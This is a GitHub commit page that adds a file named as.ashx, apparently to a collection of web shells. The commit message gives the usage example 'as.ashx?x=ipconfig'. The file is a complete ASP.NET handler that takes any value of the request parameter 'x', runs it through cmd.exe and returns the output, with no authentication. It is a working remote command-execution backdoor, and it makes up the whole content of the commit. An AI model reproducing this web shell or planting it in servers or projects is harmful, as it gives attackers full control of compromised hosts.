Skip to content

Commit

Permalink
Create as.ashx
Browse files Browse the repository at this point in the history
example
as.ashx?x=ipconfig
from : zone.wooyun.org
  • Loading branch information
tennc committed May 22, 2015
1 parent 24dbe2c commit b5a24c7
Showing 1 changed file with 26 additions and 0 deletions.
26 changes: 26 additions & 0 deletions aspx/as.ashx
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
<%@ WebHandler Language="C#" Class="Handler2" %>
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Web;
public class Handler2 : IHttpHandler {
public void ProcessRequest (HttpContext context) {
//string x = "-an";
string x = context.Request["x"];
Process prc=new Process();
prc.StartInfo.FileName="cmd.exe";
prc.StartInfo.UseShellExecute=false;
prc.StartInfo.RedirectStandardInput = true;
prc.StartInfo.RedirectStandardOutput = true;
prc.StartInfo.RedirectStandardError = true;
prc.StartInfo.CreateNoWindow = false;
prc.Start();
prc.StandardInput.WriteLine(x);
prc.StandardInput.Close();
context.Response.Write(prc.StandardOutput.ReadToEnd());
context.Response.End();}
public bool IsReusable {
get {
return false;
}
}}

0 comments on commit b5a24c7

Please sign in to comment.